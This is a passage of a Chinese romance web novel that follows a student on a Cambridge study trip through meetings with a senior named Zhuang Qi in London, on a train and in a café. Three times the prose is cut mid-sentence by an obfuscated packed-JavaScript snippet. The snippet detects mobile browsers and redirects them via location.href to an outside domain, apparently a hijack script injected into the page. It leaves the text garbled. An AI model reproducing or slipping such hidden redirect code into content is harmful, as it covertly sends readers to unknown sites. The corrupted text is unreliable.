他的反应大约跟女生想的很不一样,她呆住了,张了张嘴要说什么,庄启已经把手从她那里抽了回去,一副两个人划清界限的模样。 女生愣愣地望着他,反应过来之后,肩膀耸动着飞快地离开了。 许安繁没空去想庄启的前女友是不是在哭,因为庄启重新似笑非笑地盯住了她。 她不知道自己是不是该主动站出来,正犹豫,庄启已经朝她走过来。 变得空旷的走廊里,许安繁分不清在她耳边鼓噪作响的,到底是他的脚步,还是自己的心跳。 躲无可躲,他停在面前的时候,许安繁只得说:“我不是故意的。” 庄启停下,一只手随意搭在柜子顶端,许安繁被他身体投下的阴影所包围。 她往后退了一步,后背贴住冰凉的墙面。 庄启挑了下眉:“又是凑巧?” 许安繁不知道要怎么告诉他,看到他不算凑巧,见证他分手才是凑巧。 只是无意里掺杂了有心,连意外都变得不那么像意外。 她硬着头皮“嗯”了声。 庄启挑了下唇角,吊儿郎当地道:“我们这么有缘分啊。” 许安繁抿了抿唇没作声,两个人站得这么近,他的手就在她的余光里,手背浮起骨骼轮廓,青筋交错,形状漂亮。 她看出庄启没生气,想想也是,不管是分手,还是分手被她这个无关紧要的外人看到,在他眼里都没有什么好在意的。 许安繁稍稍偏过脸,看着刚才他前女友站过的地方。 其实她能够理解那个女孩子,庄启太受欢迎,太有吸引力,又总是一副对谁都不上心的模样,无论是谁在他身边,恐怕都很难不患得患失。 这些难言的心绪,他一定不懂。 他只需要做颗自由的流星周游宇宙,怎会留神身后焰火灼伤几万亿人。 偏偏谁见到流星,都忍不住想许愿。 哪个人又能免俗。 8. 无夏 「陈绮贞说《下个星期去英国》唱的是友谊,读书的时候我们会交到很好的朋友,但最后对方带着她的梦想渐行渐远,我带着她的梦想,却没法走到她面前。」 ——许安繁《无夏之年》 那天许安繁错过了余怡班上教授分发的苹果派,在陈晚问她课间怎么消失了那么久时,她含含糊糊地说看到了庄启分手,陈晚继续追问,她却走神回想起了教学楼里那条长长的走廊。 沉寂,空荡,以及离她很近的,庄启的气息。 深夜里许安繁趴在床上读岳照的小说,是个爱情故事,她不留神读到一句“《圣经》里形容爱如捕风”,发怔好久。 爱如捕风,风注定纷飞不定,如果喜欢上的是庄启那样的男孩子,就更加难以期待圆满的收梢。 打断许安繁思绪的是许知钦的来电。 白底黑字的文档被语音界面覆盖掉,许安繁回过神来,按下接听,喊了声“哥”。 “怎么接这么快。”许知钦道。 许安繁说“正好在看手机”,又说:“在读岳照写的小说。” “她还写小说。”许知钦不太感兴趣,但还是接了句话。 “我跟你说过的,她以后想当作家。”许安繁说。 许知钦“哦”了声:“记不住,光你的事儿就够记的了。” 许安繁听出他的声音还带着惺忪的睡意,知道他又是为了陪自己聊天才早起,便道:“哥你以后不用这时候跟我聊天了,我时差倒好了。” 顿了顿,她又说:“这周末我跟室友去伦敦玩,你有没有想要的东西,我帮你带。” “都行,你看着买吧,”许知钦打了个哈欠,“你们要是去国王十字车站,帮我拍个哈利·波特上学的站台看看。” 他说的站台是九又四分之三站台,原本是J.K.罗琳虚构的,但因为哈利·波特系列作品大火,伦敦市便在九号和十号站台之间设置了可供打卡的景点。 周末许安繁和室友乘火车去了伦敦,在伦敦市区地铁换乘巴士的时候,中转站恰好在国王十字,九又四分之三站台和旁边的周边商店人满为患,许安繁挤过去拍照,又给许知钦在周边店里买了他喜欢的蛇院围巾。 结完账出来,几个人过马路去找车站,伦敦的气温比剑桥稍高一些,这天难得晴日当空,阳光照在身上,带着明晰的暖热。 许安繁穿了白色的长裙,外面是一件牛仔外套,她觉得热了,便把外套脱下来,折好放进周边店的购物纸袋里。 低头整理衣服的时候,许安繁听到细微的“咔嚓”一声,她抬起头,看到陈晚正拿手机对着她拍照。 “刚才光打在你脸上的时候特别好看,就给你拍了一张。”陈晚说。 苏虞插话道:“那是光好看吗,是人好看。” 一直在东张西望的孔小琦指着前面“哎”了声:“那边是不是有家面包店,我想去看看,早上没吃饱。” “我说你这一路找什么呢,刚才有超市,你是不是没看见。”陈晚说。 许安繁不怎么饿,陪室友在店里转了一圈,没挑到想买的,便自己去外面等。 走出面包店,她站在路边晒太阳,忽然想听歌。 从外套口袋里翻出手机和无线耳机,许安繁在音乐软件里打开这天的日推歌单。 第一首是她喜欢的陈绮贞,很应景的《下个星期去英国》。许安繁轻轻跟着哼起来。 她开了降噪,完全没注意到由远及近传来的摩托引擎声。 这首歌很短,快要结束的时候,突然有一阵猛烈的风拂过了许安繁的脸颊。 她尚未反应过来,一条粗壮的胳膊就野蛮地抢走了她的手机。 事发突然,许安繁直到看见前方骑摩托戴兜帽的背影,才意识到自己遭遇了抢劫的飞车党。 她下意识地跟着往前跑,边跑边喊“help”,前面是个十字路口,许安繁想如果交通灯碰巧转红,有人在这时过马路,对方也许会因为怕引发事故而停下。 周围有行人看过来,有人让她报警,许安繁还没来得及回应,就听见身后传来一道熟悉的声线—— “There''sanundercovercopatthenextintersection.Stopnow!” 低沉有力,带着难以忽略的威慑性。 她转过头,看到了庄启颀长的身影。 他今天穿了黑色的衬衫,衬得整个人清挺冷冽。 飞车党听到警告之后明显迟疑了一下,在即将抵达路口前紧急刹了车。 他刹得太急,摩托晃了两下,连人带车倒在了地上。 飞车党外套的兜帽落下,是个当地的青年。 庄启从许安繁身边大步流星跑过去,青年挣扎着站起来,想重新发动摩托,却被庄启一把扯住领子拽到了旁边。 青年踉跄着还要反抗,庄启直接照着他的膝窝踹过去。 这几下动作利落干脆,对方腿一软,跪倒在地上。 他倒也识时务,知道庄启是帮谁出头,从怀里摸出许安繁的手机往外一扔,趁庄启去捡的工夫,一瘸一拐地站起来骑上车落荒而逃。 这一切发生得太快,直到手机被庄启递到面前,许安繁才恍然道:“……谢谢。” 她伸手去拿,指尖无意间按亮了屏幕。 玻璃没碎,音乐软件的进度条出现在锁屏上。 庄启没松手:“慢潜?你听摇滚?” 许安繁愣了下,低头看了眼手机,发现歌单不知何时已经从陈绮贞换到了她没听过的一首歌,歌手是一支叫作“Slowdive”的乐队,直译过来就是庄启口中的“慢潜”。 只是随机播到的,这不是一句很难讲出口的话,她却鬼使神差地说,嗯,我还挺喜欢的。 怕他接着问,许安繁转移了话题:“前面真的有便衣吗?” 毕竟方才是因为他说下个路口有便衣,那个飞车党才受惊摔倒的。 庄启笑了:“你真信啊?” 然后他悠悠地道:“骗他的。” 许安繁默不作声地打量着他,明明算是刚跟人打过架,他看起来却还是那么从容散漫。 庄启低着头看她,语气像在逗小孩:“你是新生?没人跟你说别在伦敦街上玩手机么。” 说完又喊了她一声“许安繁”,叫着玩似的。 “我不是新生,我是来游学的。”许安繁说。 话刚出口,她又有些后悔。 他说什么她都认真回答,显得有点傻。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071833|163239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 果然,庄启忍着笑说:“哦,原来是来游学的小朋友。” 顿了顿,他又一本正经道:“那庄启哥哥告诉你,在伦敦一年有九万台手机被抢,以后别在路上看手机。” 许安繁被他说得面红耳赤,她攥着手机,好半天才憋出一句:“你是来伦敦玩吗。” “去UCL开会。”庄启说。 许安繁这才想起先前查地图的时候,看到伦敦大学学院在这附近。 看来余怡说得对,庄启经常有学术会议要开。 许安繁还想再说些什么,但那边陈晚她们已经在叫她。 她应了一声,匆匆对庄启说:“我走了,拜拜。” 跑出几步之后,她犹豫片刻,回身扫了一眼。 庄启还停在原地,阳光盛大,许安繁看不清他的表情,只看得到他脚底斜长的影子。 跟室友汇合以后,许安繁自然被问起怎么碰到了庄启。 她说自己手机被抢,陈晚连忙问她有没有受伤,看她没事,这才有些地遗憾道:“早知道早点出来看庄启打架了,他打人的时候肯定特别潇洒。” 苏虞也问:“你怎么不加他,多好的机会。” 许安繁摇摇头,开口时像在回答对方,也像说服自己:“咱们很快就回国了。” 省略的后半句是,反正以后也见不到的。 许安繁离开以后,庄启被唐策拍了下肩膀:“就我买水这一小会儿,你又被小姑娘搭讪了?” 庄启接过唐策递来的水:“不是,帮她追了个手机。” 他一瞥许安繁背影:“上次还要人家联系方式来着,这就不认识了。” 唐策闻言仔细打量了一下许安繁,恍然大悟:“我说看着眼熟,是那清纯妹妹啊。” 他收回目光,又不怀好意地问:“庄哥,你这帮了一次又一次的,真不是有想法?” “见义勇为还得有想法,”庄启拧开瓶盖喝了口,“听着我怎么那么不像好人。” 唐策嬉皮笑脸地说:“我可没这意思啊,再说你要不好,哪有那么多女孩儿上赶着追,是吧。” 他端详着远去的许安繁:“话说回来,这妹妹是真漂亮,放咱们学院高低也是个院花。” 坐在红色车身的巴士上,许安繁拿出手机,打开音乐软件,做贼心虚一样,重新点进了那首慢潜乐队的歌《Sugarforthepill》。 她想庄启应该是有点喜欢这支乐队的吧。 不然也不会特地问一句。 车窗外伦敦的街景飞快掠过,许安繁戴上耳机,听完了整首歌。 手机被她握在掌心,虽然过了这么久,上面早已不会有庄启的体温,但想起是他递给她的,许安繁还是产生了一丝异样的感受。 理智能够让她说出自己很快就要回国,所以没必要继续接触庄启,但理智没办法控制她不去听这首歌,不去回想他打架时张扬的样子。 耳机里歌声低缓—— “YouknowIhadthestrangestdream.” “你知道我到过最光怪陆离的梦境。” 在这座远离她日常生活的遥远城市,风很透明,阴晴不定,遇见庄启,也真的好像造访一处前所未见的梦境。 9. 无夏 许安繁跟室友把一天的行程规划得很满,来之前已经预约好了所有需要排队的地方,把大英博物馆、伦敦眼、西敏寺等等一系列景点打卡完,坐火车回去的时候已经到了晚上。 夏令时的夜空仍然明亮,许安繁坐在座位上的时候,感觉两条腿疲惫得不像自己的。 她打开手机,把上午拍下来的九又四分之三站台分享给许知钦。 东八区的许知钦在熬夜,秒回了她:“真去了。” “当然了,还给你买了斯莱特林的围巾。”许安繁说。 许知钦:“怎么说呢,虽然是三伏天收到了围巾。” 许知钦:“但还是要说一句我妹真贴心。” 许安繁气呼呼地道:“你不要我送别人。” “别啊,这不是夸你吗,这礼物我特别喜欢。”许知钦说。 然后他又道:“你要不再给咱妈捎点东西,她那么忙,也没空出去看看。” 其实就算他不说,许安繁也打算给陶璐带礼物的:“我想回国的时候在机场免税店看看。” 许知钦说了句“行”,又说:“昨天她还给我打电话关心你了,说让你出去玩这段时间好好照顾自己,钱不够的话,再给你往卡里打点儿。” 许安繁说钱够,但心里明白,陶璐应该没有给许知钦打那通电话。 不然直接来找她就是了,何必还要多此一举地通过许知钦传话。 她知道陶璐忙,这么多年一个人养大她和哥哥不容易,但有时候她就是忍不住自私地想,如果妈妈能多关注她一下就好了。 以前不懂事的时候,她还跟岳照抱怨过,说总是哥哥来给自己开家长会,满教室的父母中间,坐着他一个半大孩子,显得很奇怪。 那时她的初中班主任为此还专门找许知钦了解情况,许知钦如实把一切告诉对方之后,班主任看她的眼神就充满了同情。 再往后,不知怎么大家就都知道了她家的事情。 但好在她成绩好,性格也算开朗,许知钦又容不得别人欺负她,把她照顾得无微不至,因此父母的缺席并没有对她造成特别大的影响。 许安繁正自顾自地想心事,身边忽然停下一个人。 紧接着,她耳边传来一道声音:“又见面了,安繁妹妹。” 许安繁仰起脸,意外地看到了站在过道上的唐策。 她还认得他,叫了声学长。 唐策笑眯眯地“哎”了声:“我就说晚上这班回剑桥的火车是不是能见着你。” 言毕,他往窗外送了送下巴:“我今儿跟庄启一起去开会来着。” 许安繁顺着他指的方向望过去,看见庄启正站在月台上,一手举着手机放在耳边,一手插着兜,表情冷淡地在听电话。 唐策一副看热闹的样子:“他前任打过来的,俩人分手没几天,姑娘后悔死了,电话打不停,庄启不接她就换号打,估计这次庄哥得说点儿重话才能让她死心。” 这趟火车是短途,没有固定的座位,唐策顺便就在许安繁对过的空位上大喇喇地坐下,拿出手机打起了游戏。 许安繁看了下时间,离发车还有三分钟。 她想提醒唐策叫一下庄启上车,又不想显得自己对庄启过于关注,纠结了好一会儿,已经只剩一分钟。 那边唐策打游戏打得入神,开了语音在骂对面技术菜,许安繁没别的办法,只得从座位上起身,飞快按开车厢门的开关,三步并作两步跑到了站台上庄启的面前。 庄启看到她之后抬了下眉,电话还没挂。 许安繁不想他前女友听到自己声音,就只伸手指了指车厢的方向。 庄启像是没有理解,光是用一双黑眸似笑非笑地瞧着她。 再磨蹭就真的来不及了,飞驰而过的车厢会就这样把他们留在原地,许安繁顾不上再多想什么,直接抓住庄启的手腕,带他往车门的地方跑。 这次庄启倒是很顺从地跟上了她,在上车的那一瞬间,许安繁听到他对着手机没什么情绪地说:“以后别再打过来了。” 她觉得这句话庄启说得非常熟练,应该不是第一次对别人讲。 不过她没来得及思考更多,因为在车门的关闭的同一时间,车厢开始向前发动,她的身体由于惯性向车尾倾过去。 许安繁踉跄了下,而庄启反应很快,轻而易举地反手攥住了她。 他力气大,手掌环住她纤细的胳膊,让她稳在了原处。 庄启的掌心很热,温度毫无保留地渗进许安繁的皮肤,让她眉头一跳,忘记了原本要说什么。 过了几秒,许安繁才在嘈杂的车厢中找回了自己的声音:“……还好赶上了”。 她一边说,一边不着痕迹地松开庄启,从他那里将手抽了回来。 庄启没接茬,瞥了眼许安繁白皙的胳膊,那上面被他握出了淡淡的红痕。 他抬眸看她,说话时的语气不怎么正经:“这么关心我,怕我坐不上车?” 许安繁移开视线,盯着正对着她的灰色行李架说:“你上午帮我把手机拿回来了。” 意思是这次算还他人情,没别的意思。 庄启听懂了,挑起唇角笑了下,没说什么,随手把衬衫领口的扣子松开一颗,朝有座位的方向走过去。 唐策见庄启回来,人没动,腿往外转了下,示意庄启坐里面。 庄启却用手肘顶他一下:“进去。” 唐策抻长脖子,看着他身后的许安繁想说什么,但见庄启一副懒得跟自己多废话的样子,还是自觉地坐进去了。 于是等许安繁回到座位上的时候,右边跟她隔着一个过道的人就变成了庄启。 她坐下的时候有些别扭,觉得靠近他的那一侧身体十分僵硬,跟陈晚她们聊天的时候,也总是有一半注意力不由自主地被庄启分走。 他的侧脸轮廓很好看,睫毛密长,鼻梁高挺似山脊线,再往下是薄薄的嘴唇,锋利的下颌。 在他解开一颗扣子的衣领阴影里,隐约看得到锁骨微凸的轮廓。 察觉到庄启眸光轻动,许安繁迅速收回视线,扭头去看车窗的方向,搁在腿上的手指也微微回缩了一下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071834|163239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 大块澄澈的玻璃外是辽远的晴空和连片的树林,如同一卷漫长的风景胶片连续放映,坐在许安繁旁边的陈晚看得专心致志,没注意到身侧好友的心不在焉。 火车开出一段距离后,列车员走过来查票。 先查的是庄启那一排,他找出名片大小的纸质票,懒洋洋地按着推过去,同列车员打了个招呼。 列车员跟他闲聊几句,查完他和唐策以后,又示意前面的乘客给他看票。 那是个中年亚裔女士,她伸手往衣兜里掏,却什么也没有拿出来。 她先是疑惑,之后像是想到了什么,叽里咕噜从嘴里挤出几个词。 列车员没听明白,礼貌地请她重复一遍,并告诉她如果逃票是要罚款的。 这时庄启忽然用英语告诉他,那个女士没有逃票,她只是说纸质票暂时不知道放哪里了,能不能给他看手机上的付款记录。 女士感激地回过头,对庄启说:“谢谢……一样,我们?” 庄启说“没关系”,又说:“对,我也是中国人。” 旁边的唐策震惊道:“你怎么听懂的?” 不只是他,如果不是有庄启的回答,许安繁甚至没意识到那位女士说的是中文。 庄启接着询问女士是否需要帮助,她摇了摇头,把手机递给列车员看:“票。” 等列车员走后,唐策小声问庄启刚才那是什么情况。 庄启低声说:“失语症。” 许安繁还是第一次听说这种病,她拿出手机搜了一下。 网页上跳出来的解释是,大脑损伤引起的沟通交流障碍。 简单地讲,就是不能正常说话了。 那边唐策还在好奇,喋喋不休地追问:“你怎么知道的。” 庄启没回答,眼底掠过一缕阴翳。 他的神色让许安繁想起那天在图书馆,她差一点就要问起为什么他那么了解语言学时,他所表现出的抗拒。 许安繁同室友坐的是带有桌子的座位,她从随身的帆布包里悄悄拿出一支唇膏放在桌上,然后若无其事地用手肘把唇膏朝着庄启的方向推了下去。 小小的白色圆柱体掉到地上,产生的声响让庄启和唐策都转过了头。 见他们方才的话题中断,许安繁便借着这个机会说:“能帮我捡一下吗?” 她其实有些紧张,怕被庄启发现自己是故意的。 不过他并未多说什么就俯身给她捡了。 庄启弯腰的时候,黑色的衬衫贴着身体,后背上显出两块肩胛骨冷冽的轮廓。 他直起身,瞥了眼唇膏包装上的图案,而后眼神掠过了她的嘴唇:“桃子味的?” 许安繁被他看得不自在,但还是故作镇定地“嗯”了声,说这个很好用。 庄启或许是觉得她的样子好玩,随口顺着往下问:“是么,有多好用。” 许安繁也不知道自己怎么想的,没过脑子就说:“你要试试吗。” 庄启大概也没想到她会这么答,停了秒后,笑得挺恶劣:“行啊,怎么试?” 10. 无夏 「在你的目光里,我瓦解成碎片。」 ——许安繁《无夏之年》 许安繁这才意识到自己刚才说了什么。 她的脸刷一下红了。 即将坠落的夕阳透过轨道两边的树丛照进窗来,不规则的光斑落在庄启的衣角,正在轻轻地跳动。 车厢里有其他乘客在用英语聊天,气氛十分安谧。 唯独许安繁自己在这个夜晚手足无措,心神不宁。 最后是唐策给许安繁解了围,他拍了把庄启肩膀:“行了庄哥,你别逗人家了,看把小姑娘害羞的。” 庄启闻言抬了下眉,漫不经心地端详了许安繁一阵,然后把唇膏还给了她。 许安繁接过来的时候,不小心碰到了他的手指。 她的睫毛颤了颤,手像被烫到一样,飞速攥着唇膏缩了回去。 庄启反倒没有那么快收回手,他捻了下指尖,皮肤上仿佛还留着女孩子一触即离的柔软触感。 许安繁拿回唇膏,一直在看风景的陈晚忽然凑到她耳边,笑嘻嘻地用气声问她:“你是故意的吧?” 许安繁顿了下。 这个问题她不知道怎么答,她的确是故意的,但跟陈晚想的那种大概不太一样。 不是为了制造跟庄启的接触,而是希望他可以避开他不想谈论的那个话题。 许安繁留意了一下庄启那边的动静,发现唐策已经把失语症抛到脑后,转而跟庄启聊起他们课题组的事情,便放了心。 也算帮到他了。 火车到站之后,天色终于完全黑下来,下车之后,唐策问许安繁和她室友想不想一起去某家酒吧喝酒。 “我请你们,一块儿放松一下。”唐策说。 许安繁为难起来,时间毕竟晚了,再说她和室友其实跟他们并不相熟,一起去喝酒显得怪怪的。 但唐策那么热情,她不好意思拒绝得太直白。 进退两难之际,庄启不紧不慢地出了声:“我不去,有事儿。” 唐策开玩笑:“这么不给面儿啊庄哥,什么事儿比跟漂亮妹妹喝酒重要。” 庄启不接茬,纤薄的手机在手里转着:“要回个电话。” “前嫂子啊?还没聊完?行吧行吧,那安繁妹妹,我们下次吧。”唐策摆了摆手,意思是这次先作罢了。 在昏暗的夜色里,许安繁看向庄启,他没有回应唐策,她不清楚那是默认,还是懒得解释。 但总之应该不是为了给她解围。 回到校舍,大家各自回了房间,许安繁坐在书桌前,打开电脑想要找部电影看,播放片头的时候,她想起这几天自己没有跟岳照联系。 许安繁打开手机,刚发过去一句“今天我去伦敦了”,房间门就从外面被很轻地敲了敲。 许安繁握着手机,走过去开门。 门外站着孔小琦,她问:“安繁,你有时间吗,我们去楼下走走。” 许安繁不清楚是不是自己的错觉,孔小琦的笑容看起来有些讨好的意味。 不知道是不是所有四人宿舍都会自动分成关系更好的两组,但许安繁记得从住进来以后,除了四个人一起上课和吃饭,一般都是她跟陈晚一起,孔小琦跟苏虞一起。 虽然觉得意外,但她还是答应了:“我穿个外套。” 许安繁披上衣服,两个人坐电梯下楼,从校舍门口散步到了附近的小型下沉广场。 路灯洒下浅黄的光晕,沿路的树木散发出柔和的气息。 孔小琦同许安繁闲聊起来,聊着聊着,说起了昨天刚刚随堂测验过的一门通识课。 “你觉得那个老师人怎么样?”孔小琦问。 许安繁想也没想就道:“很好啊,我下课去找她问问题,她给我讲了半个钟头。” “我也觉得她挺喜欢你的,”孔小琦停了停,“安繁,你能帮我个忙吗。” 许安繁问她什么忙。 孔小琦吞吞吐吐道:“就是昨天的小测,上课讲的那些东西我没记住,考得不太好,我想……我想改一下答案,去找老师说她给我批错了,你帮我作证,行不行?” 许安繁脚步一滞,停下了。 平心而论,她能懂孔小琦的动机。 这次游学的课程是要同等置换成她们在S大的学分的,换言之,就是会折算计入到这一学年的绩点里,跟奖学金挂钩。 孔小琦还在继续劝说她:“安繁,反正我跟你没竞争,我们不是一个专业的,你帮帮我吧。” 许安繁虽然是好说话的性格,但遇到原则性的问题,她是不会妥协的。 “对不起,”许安繁开口了,“我不能帮你。” 她的语气认真,也没什么商量的余地,孔小琦脸上露出了尴尬的表情。 许安繁想了想,又补充道:“我就当你没跟我说过这些,也不会告诉别人。” 孔小琦沉默了,两个人之间的气氛僵了一会儿,许安繁觉得孔小琦应该没有心情继续散步了,便问她要不要回去。 好半天之后,孔小琦才点点头,回去的路上没有再跟许安繁说话,到校舍的时候,也是低着头匆匆地进了房间。 许安繁看了一会儿孔小琦紧闭的房门,再回去坐到自己的书桌前,心里没有之前那么服帖了。 她看出孔小琦的不悦,但这件事没有更好的解决方法。 许安繁叹了口气,去浴室洗澡。 这天本就回来得晚,她又被孔小琦喊出去散步,终于能睡下的时候是下半夜了,手机震了震,显示岳照回复了她。 岳照发来的是一条不长的语音:“安繁,我今天要去上补习班,你先留言吧,我下课再给你回。” 伴随着她话语的,还有拉上书包拉链的声音。 许安繁敏锐地发现岳照说话时带着鼻音,声调微微哽咽,像是刚哭过一样。 她连忙打字问道:“照照,你哭了吗,是不是遇到什么不开心的事了?” 岳照暂时没有再回,许安繁只得把手机放到枕边,带着担心入睡,直到第二天起床,才看到岳照最新的消息。 岳照:“没有,吹空调着凉了,有点发烧。” 许安繁叮嘱她:“那你记得按时吃药,先别开空调了。” 岳照说好,像是为了证明自己并不低落,还有心情聊天,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071835|163239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问许安繁伦敦好不好玩。 “好玩,要是有你在就好了。”许安繁说。 岳照这次没再发语音,是打字回的:“没办法,谁让我还是个高中生,再等我一年,等明年考上大学,我们一起出去旅行。” 许安繁其实还想跟岳照说孔小琦的事情,但一来她向孔小琦保证不会乱说,二来要解释清楚来龙去脉又很麻烦,最后她还是放弃了。 仔细想想,跟岳照分开的三年里,她也经历过许多这样的时刻,想分享的开心难过,都因为对方不在身边而遗落散佚,再不成文。 好在她们又重逢了,许安繁想,就像岳照说的,等她考上大学,时间变得自由,两个人就能恢复从前的亲密无间。 这个周末过去,就是许安繁游学的最后一周。 她想给S大的同学朋友带些小礼物,在地图上搜索了附近的纪念品商店,周一下午下课之后,一间间地逛过去。 马路两侧的砖石道曲曲折折,有家店很难找,她盯着手机上的地图,没留神一头撞上了对面的来人。 浅淡的水生调香味送到了她鼻尖。 许安繁记得这个味道。 她抬起头,清清楚楚地望进庄启深邃的眼睛。 他的瞳孔里倒映着人来人往的街景,盛着明亮的世界,和猝不及防的她。 庄启低下脸来,眸色黑亮,略带轻佻:“还敢在路上看手机,一点儿记性不长?” 许安繁有点不服气地道:“剑桥治安比伦敦好。” 至少她在这里的三周都没有遇到抢手机的。 庄启提醒她:“装瘸骗你的流浪汉忘了?” 许安繁没忘,要不是那次,她也不会有机会告诉他自己的名字。 庄启拖长尾音:“所以别觉得这儿都是好人。” 他看着许安繁,逗弄她:“比如我,就很坏。” 男生说这话的时候眼角噙着点不明显的笑,暧昧又随意,勾得人挪不开目光。 许安繁的眸光晃了晃,她没说话,只是在心里想,你真的坏吗,庄启。 会对着手机冷酷地说以后别再打过来,也会在火车上帮失语症患者跟列车员沟通,你到底是什么样的一个人呢。 她垂眸重新按亮手机屏幕,然后递给他看:“这家店,你知不知道在哪里?” 许安繁觉得庄启应该对这一片很熟悉,果然,他一扫便道:“你已经走过了,就在刚才那条街上,蓝色招牌的那家。” 他这么一说,许安繁也有了些印象:“……好像是。” “走吧。”庄启说。 他朝许安繁来时的方向走过去,许安繁迟疑一下,跟了上去:“你也去?” 两个人隔着一步距离,她听到庄启从胸腔里“嗯”了声:“顺路。” 虽然只是顺路,但许安繁还是说:“谢谢你。” 庄启偏过头看了她一眼,女孩子乖乖地跟着他,皮肤白白的,头发泛着偏栗色的光泽,像小动物柔软的皮毛。 察觉到他的注视,许安繁的脸颊微微升温。 下一秒,她听到庄启漫不经心地开口:“去给谁买纪念品,男朋友?” 11. 无夏 他问得直接,许安繁的耳根登时红了。 她小声说:“我没男朋友。” 也没谈过恋爱。 庄启挑了下眉,嗓音揶揄:“哦,忘了你是来游学的小朋友了,这是成人话题,不该问你。” 许安繁被他打趣,忍不住微微气恼:“这算什么成人话题。” 不知为什么,听她讲这四个字,庄启一下子笑了出来。 他笑得肩膀轻颤,气息起伏,低沉声线顺着空气漫进许安繁耳朵,让她的耳膜泛起细碎的痒意。 庄启笑够了,才好整以暇地说:“行,那你给我讲讲,什么才是成人话题?” 许安繁噎了一下。 她当然不可能讲什么所谓的成人话题,只能假装没听懂庄启的调侃,正好那家纪念品店已经近在眼前,她便快走几步,然后回身告诉他说:“快到了,那我先走了。” 纠结片刻,她还是非常大度地没计较庄启的嘲笑,对他说了拜拜。 许安繁走进店里,来到放明信片的旋转架跟前,目光在色彩缤纷的纸片上流连了一会儿,却没有认真在挑选,掐算着时间,她向落地橱窗外看过去。 庄启恰好经过,在路边转弯,走进了街对面的一家咖啡厅。 他连背影都出挑,远远看着,就像从文艺电影里截取的一帧画面。 直到庄启消失在那扇距她几百米的门后,许安繁才回过头,继续选明信片。 她的指尖划过铜版纸边缘,脑海里挥之不去的,还是刚刚庄启站在她面前笑意未消的样子。 打断许安繁思绪的是来电的震动声。 她将方才路上放进包里的手机拿出来,看到陈晚给她打了电话。 许安繁接起来,陈晚问她在哪,说自己想出来吃点东西,问她要不要一起。 “好,我在商店,把定位发你。”许安繁说。 她发过去之后,陈晚又道:“苏虞和小琦也在,我们一块儿去找你。” 许安繁回了句知道了,觉得应该是陈晚问了另外两个室友,孔小琦碍于情面没办法说不去。 毕竟对方从今早就开始躲着她,她去厨房里热牛奶的时候正好碰到孔小琦,对方冷着脸,招呼也没打。 不过有陈晚和苏虞在场的话,应该不会那么尴尬,再过几天,也许孔小琦就不再介意了。 许安繁没再去想这事,林林总总挑了四五十镑的礼物,其中有一个白底的帆布包,质地柔软,上面印着三十五位改变世界的女性,她想把这个送给岳照,因为里面有岳照高中时很喜欢的女作家简·奥斯汀。 结完账出来,许安繁正好碰上了陈晚她们。 陈晚探头朝纪念品店里打量了一下:“东西还挺多,待会儿吃完饭我也来看看,买点儿带回去。” 许安繁“嗯”了声,却有些心不在焉。 她拎着袋子,望向街对面的咖啡厅。 不过她没有看到庄启,也许他并未坐在靠窗的位置,也许已经走了。 许安繁正发怔,忽地听见陈晚问自己:“你想去那家?是咖啡店吗,看样子好像也有简餐。” 她正要否认,苏虞就先一步道:“要不就那家,我前几天跟小琦去吃过早午饭,磅蛋糕挺好吃的,我们还商量走之前再去一次来着。” 孔小琦表示没意见,于是几个人过了马路,走进那家咖啡厅。 进门时,许安繁一眼就看到了坐在靠角落桌子的庄启。 原来他还在,只是挑了安静不被打扰的位置。 庄启面前摆了台纤薄的笔记本电脑,旁边还坐着一个中年白人,对方正指着屏幕同他探讨什么,许安繁模糊想起那好像是他的老师,她站在他上课教室后窗的时候遥遥见过。 店面不大,只剩靠吧台的位置还空着,戴围裙的店员把许安繁她们引过去落座。 吧台离庄启那桌不远,只隔了一棵半人高的柠檬树盆栽,许安繁甚至能听到他跟老师交谈的只言片语,但室友没注意到,她也没有说。 也许是因为剑桥附近的国内游客太多,塑封的菜单上甚至有机翻中文注释,许安繁随便选了一份主食,又要了一杯热巧克力。 店里卖的全是简餐,食材都提前准备好了,上得很快,四个人边吃边聊,要吃完的时候,话题转到了下周就要结束游学的回国时间。 许安繁下意识地一瞥庄启方向。 柠檬树青绿的叶片和果实之间,是他影影绰绰的轮廓。 近到只要走几步路就触手可及,却又远到很快就会跟她相隔千万里山海。 她是过客,是这座国家的过客,也是他的过客。 许安繁喝了一口杯中的饮料,咽下一闪而逝的落寞与失神。 陈晚已经问起了她们回S大之后的安排:“你们暑假打算做什么?留学校还是回家。” 苏虞和孔小琦都说要回家,许安繁没作声,陈晚又问她。 许安繁含糊其辞道:“我哥哥就在北市工作,我去找他住。” 